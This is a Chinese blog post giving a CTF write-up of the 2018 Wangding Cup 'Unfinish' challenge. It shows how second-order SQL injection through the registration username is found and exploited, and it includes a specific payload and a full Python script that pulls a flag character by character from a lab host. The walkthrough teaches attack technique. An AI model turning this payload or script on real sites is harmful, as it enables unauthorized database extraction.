首页 > 数据库 >[网鼎杯2018]Unfinish-1|SQL注入|二次注入

[网鼎杯2018]Unfinish-1|SQL注入|二次注入

时间:2022-08-20 15:02:07浏览次数:47  
标签:username url register flag 2018 SQL login data 注入

1、进入题目之后只有一个登录界面,检查源代码信息并没有发现有用的信息,尝试万能密码登录也不行,结果如下:

2、进行目录扫描,发现了注册界面:register.php,结果如下:

3、那就访问注册界面,随便注册一个账户进行登录,f返回的界面中显示了注册的账户名,这里就想到了二次注入,结果如下:

4、进行注入的话那就先判断下被过滤的关键词,在注册时进行抓包,然后使用爆破模块进行测试,发现information和,被过滤了,开始以为'也被过滤了,但1'+2+'1可以注册,应该是语句的问题,而且返回的信息中也没有nononono,结果如下:

5、到这里想着后端代码应该就是select username from table where username = '传递的参数',这样的结构,经过测试可以通过:1' or password like '%f%测试列明,但是好像flag值所在的表与当前的表不是同一张表,而且也不知道flag值所在表的名称,在网上查看了以下,发现是忙才flag值所在表的表名称为flag,然后通过+运算进行无列明获取flag值,其payload:0'+ascii(substr((select * from flag) from 1 for 1))+'0,成功获取到flag值得第一位asii:102即f,结果如下:

6、确定payload之后那就需要通过脚本来获取flag值了,脚本信息如下:

import requests
import time
from bs4 import BeautifulSoup

def get_flag():
    flag = ''
    url = 'http://4ecc41d2-2490-46b9-a16a-f384574ca1ca.node4.buuoj.cn:81/'
    register_url = url + 'register.php'
    login_url = url + 'login.php'
    for i in range(1, 100):
        time.sleep(0.5)
        register_data = {"email": "{}@1.com".format(i),
                 "username": "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i), "password": "1"}
        login_data = {"email": "{}@1.com".format(i), "password": "1"}
        requests.post(register_url, data=register_data)
        response_login = requests.post(login_url, data=login_data)
        bs = BeautifulSoup(response_login.text, 'html.parser') 
        username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性
        number = username.text  
        flag += chr(int(number))
        print("\r", end="")
        print(flag,end="")

if __name__ == '__main__':
    get_flag()

 脚本结果如下:

标签:username,url,register,flag,2018,SQL,login,data,注入
From: https://www.cnblogs.com/upfine/p/16607426.html

相关文章

  • 2022-08-15 吉林化工学院 第五组 韩嘉宁(MySQL基础)
    掌握情况:已全部理解并且应用基本熟练。学习心得:难得的轻松!!!但基本都是理论知识,需要加强记忆理解!Mysql数据库目录掌握情况:已全部理解并且应用基本熟练。学习心得:难得的轻......
  • Spring 03: 基于xml的构造方法注入
    注入方式具体有3种注入方式:通过构造方法的a.参数名称注入b.参数下标注入c.默认参数顺序注入参数名称注入School实体类packagecom.example.pojo03;public......
  • mysql初识
    mysql需要了解哪些知识1.sql操作2.索引索引原理索引优化sql语句优化3.事务并发读异常的问题并发死锁怎么解决4.mysql与缓存解决读性能问题集群的内容 OLTP:......
  • 5个必知的高级SQL函数
    5个必知的高级SQL函数SQL是关系数据库管理的标准语言,用于与数据库通信。它广泛用于存储、检索和操作数据库中存储的数据。SQL不区分大小写。用户可以访问存储在关系数据......
  • mybatis特殊sql的执行
    特殊sql的执行模糊查询根据用户名模糊查询List<User>selectLikeUserById(@Param("id")Integerid);建议使用:直接用"%"#{value}"%"拼接<selectid="selectLikeUserByI......
  • mybats动态sql
    动态SQL根据特定条件动态拼装SQL的功能,它存在的意义是为了解决拼接SQL语句字符串时的痛点IF标签根据标签中test属性所对应的表达式来决定标签中的内容,是否拼接到语句中......
  • 基础复习——数据库SQLite——SQL的基本语法——数据库管理器SQLiteDatabase——数据
                                                         ......
  • postgresql用户与权限管理
    pg使用角色的概念管理数据库访问权限,角色是一系列相关权限的集合。为了管理方便,通常把一系列先关的权限赋予给一个角色,如果哪个用户需要这些权限,就把这些角色赋予给响应的......
  • FreeSql笔记记录
    FreeSql的系列操作:freesql的操作有点类似于linq中的操作,不过freesql的操作是对数据库,但是linq的操作是对集合进行操作查看官方文档:https://freesql.net/guide/ 首先要......
  • MYSQL-->函数与约束条件
    函数用法函数最常用的地方就是查询语句处select函数(字段)from表名;select字段列表from表名groupby分组字段having函数(字段);字符串函数(字符串要用引......